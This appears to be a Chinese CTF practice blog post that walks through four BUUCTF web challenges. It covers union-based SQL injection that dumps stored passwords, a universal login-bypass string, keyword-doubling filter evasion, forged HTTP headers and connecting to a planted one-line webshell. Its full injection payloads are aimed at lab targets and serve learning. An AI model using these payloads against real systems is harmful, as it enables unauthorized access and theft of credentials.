[BT]BUUCTF刷题第3天(3.21)

第3天(共4题)

Web

[极客大挑战 2019]LoveSQL

Payload:/check.php?username=1' union select 1,(select group_concat(password) from l0ve1ysq1),3%23&password=1

在这里插入图片描述

看到登录页面,先尝试万能密码:

用户名:1' or True#
密码:123(随便输)

在这里插入图片描述
成功登录且获得密码加密值,但在这里无法解密,考虑其他注入(这里是联合注入)

使用?username=admin' order by 数字%23&password=1来确定当前表的字段数,当数字设为4时报错,说明字段数为3,然后来确定回显点(%23时#的url编码,代表注释)

使用?username=1' union select 1,2,3%23&password=1发现回显点是2和3,那么就在这两个地方返回数据

在这里插入图片描述

首先爆表:

?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

发现返回两个表,geekuser和l0ve1ysq1
在这里插入图片描述
然后爆字段:

?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1

在这里插入图片描述
最后爆内容:

?username=1' union select 1,(select group_concat(password) from l0ve1ysq1),3%23&password=1

在这里插入图片描述
F12查看得到flag

在这里插入图片描述

[极客大挑战 2019]Http

打开网站往下滑没有找到明限突破口
在这里插入图片描述

F12后在最后一段文字源代码下方有一个超链接,由于onclick="return false",所以点击这段文字没有反应,这里直接访问这个文件
在这里插入图片描述

根据题目名字和该页面显示,分析需要构造Referer
在这里插入图片描述

根据后面的提示,一共需要构造:
Referer:https://Sycsecret.buuoj.cn
User-Agent:Syclover
X-Forwarded-For:localhost

即可得到flag
在这里插入图片描述

[极客大挑战 2019]Knife

在这里插入图片描述打开网站一目了然,需要用蚁剑进行一句话木马连接,而且木马已经说明存在,打开蚁剑连接

在这里插入图片描述

登录终端输入ls /发现flag文件,cat /flag成功读到文件内容获取flag

在这里插入图片描述

[极客大挑战 2019]BabySQL

Payload:
http://0e7c833e-0882-4020-aff5-6ebe12e5ed39.node5.buuoj.cn:81/check.php?username=1' ununionion seselectlect 1,2,group_concat(passwoorrd) frfromom b4bsql%23&password=1

网站过滤or、select和from等关键字,由于网站只是简单的将给定数据的关键字替换成空,因此可以使用双写来达到过滤后仍是关键字的结果
在这里插入图片描述
这里首先使用万能密码:
用户名:1' or 1=1%23
密码:1

发现有错误提示,看了题解知道这里是将or关键字过滤了
在这里插入图片描述

双写测试后(?username=1’ oorr 1=1%23&password=1)发现正常返回结果,接下来本题解答流程和上面几题类似,只不过要双写绕过检测
在这里插入图片描述

利用Payload:http://0e7c833e-0882-4020-aff5-6ebe12e5ed39.node5.buuoj.cn:81/check.php?username=1' ununionion seselectlect 1,2,group_concat(passwoorrd) frfromom b4bsql%23&password=1成功拿到flag

在这里插入图片描述